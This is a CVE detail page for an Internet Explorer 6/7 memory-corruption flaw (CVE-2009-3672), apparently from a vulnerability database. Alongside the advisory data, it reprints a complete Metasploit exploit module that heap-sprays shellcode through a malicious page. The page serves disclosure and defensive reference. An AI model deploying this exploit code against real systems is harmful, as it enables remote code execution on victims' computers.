CVE-2009-3672 : Detail

CVE-2009-3672

Code Injection
A03-Injection
79.52%V4
Network
2009-12-02
10h00 +00:00
2018-10-12
17h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Microsoft Internet Explorer 6 and 7 does not properly handle objects in memory that (1) were not properly initialized or (2) are deleted, which allows remote attackers to execute arbitrary code via vectors involving a call to the getElementsByTagName method for the STYLE tag name, selection of the single element in the returned list, and a change to the outerHTML property of this element, related to Cascading Style Sheets (CSS) and mshtml.dll, aka "HTML Object Memory Corruption Vulnerability." NOTE: some of these details are obtained from third party information. NOTE: this issue was originally assigned CVE-2009-4054, but Microsoft assigned a duplicate identifier of CVE-2009-3672. CVE consumers should use this identifier instead of CVE-2009-4054.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-94 Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 16547

Publication date : 2010-07-11 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: ms09_072_style_object.rb 9787 2010-07-12 02:51:50Z egypt $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML # # Superceded by ms10_018_ie_behaviors, disable for BrowserAutopwn # #include Msf::Exploit::Remote::BrowserAutopwn #autopwn_info({ # :ua_name => HttpClients::IE, # :ua_minver => "6.0", # :ua_maxver => "7.0", # :javascript => true, # :os_name => OperatingSystems::WINDOWS, # :vuln_test => nil, # no way to test without just trying it # :rank => LowRanking # exploitable on ie7/vista #}) def initialize(info = {}) super(update_info(info, 'Name' => 'Internet Explorer Style getElementsByTagName Memory Corruption', 'Description' => %q{ This module exploits a vulnerability in the getElementsByTagName function as implemented within Internet Explorer. }, 'License' => MSF_LICENSE, 'Author' => [ 'securitylab.ir <K4mr4n_st[at]yahoo.com>', 'jduck' ], 'Version' => '$Revision: 9787 $', 'References' => [ ['MSB', 'MS09-072'], ['CVE', '2009-3672'], ['OSVDB', '50622'], ['BID', '37085'], ['URL', 'http://www.microsoft.com/technet/security/advisory/977981.mspx'], ['URL', 'http://taossa.com/archive/bh08sotirovdowd.pdf'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'HTTP::compression' => 'gzip', 'HTTP::chunked' => true }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", 'Compat' => { 'ConnectionType' => '-find', }, 'StackAdjustment' => -3500 }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { }], ], 'DisclosureDate' => 'Nov 20 2009', 'DefaultTarget' => 0)) end def on_request_uri(cli, request) # resulting eips: # 0x501d6bd8 # windows vista ie7 (mshtml.dll 7.0.6001.18203) # 0xc5fe7dc9 # windows xp sp3 ie6 (mshtml.dll 6.0.2900.5848) # nul deref! # windows xp sp3 ie7 (mshtml.dll 7.0.5730.13) # 0x6e767fae # windows 2k3 sp2 ie6 (mshtml.dll 6.0.3790.4470) # 0x6cf941a7 # windows 2k3 sp2 ie7 (mshtml.dll 7.0.6000.16825) print_status("Entering heap spray mode for #{cli.peerhost}:#{cli.peerport}") var_memory = rand_text_alpha(rand(100) + 1) var_boom = rand_text_alpha(rand(100) + 1) var_body = rand_text_alpha(rand(100) + 1) var_unescape = rand_text_alpha(rand(100) + 1) var_shellcode = rand_text_alpha(rand(100) + 1) var_spray = rand_text_alpha(rand(100) + 1) var_start = rand_text_alpha(rand(100) + 1) var_i = rand_text_alpha(rand(100) + 1) var_ss = rand_text_alpha(rand(100) + 1) var_fb = rand_text_alpha(rand(100) + 1) var_bk = rand_text_alpha(rand(100) + 1) html = %Q|<!DOCTYPE> <head> <script language=javascript> function #{var_boom}(){ document.getElementsByTagName('STYLE')[0].outerHTML++; } function #{var_body}(){ var #{var_unescape} = unescape; var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}'); var #{var_spray} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" ); var #{var_ss} = 20 + #{var_shellcode}.length; while (#{var_spray}.length < #{var_ss}) #{var_spray}+=#{var_spray}; #{var_fb} = #{var_spray}.substring(0,#{var_ss}); #{var_bk} = #{var_spray}.substring(0,#{var_spray}.length-#{var_ss}); while(#{var_bk}.length+#{var_ss} < 0x100000) #{var_bk} = #{var_bk}+#{var_bk}+#{var_fb}; var #{var_memory} = new Array(); for (#{var_i}=0;#{var_i}<1285;#{var_i}++) #{var_memory}[#{var_i}]=#{var_bk}+#{var_shellcode}; #{var_boom}(); } </script> <STYLE>* { margin: 0; overflow: scroll }</STYLE> <BODY ONLOAD="#{var_body}()"> </body> </html> | # Transmit the response to the client send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' }) # Handle the payload handler(cli) end end

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 6

Microsoft>>Windows_2000 >> Version *

Configuraton 0

Microsoft>>Internet_explorer >> Version 6

Microsoft>>Windows_server_2003 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 7

Microsoft>>Windows_server_2003 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version -

References

http://www.kb.cert.org/vuls/id/515749
Tags : third-party-advisory, x_refsource_CERT-VN
http://www.us-cert.gov/cas/techalerts/TA09-342A.html
Tags : third-party-advisory, x_refsource_CERT
http://www.securityfocus.com/bid/37085
Tags : vdb-entry, x_refsource_BID
http://www.vupen.com/english/advisories/2009/3301
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/37448
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securitytracker.com/id?1023293
Tags : vdb-entry, x_refsource_SECTRACK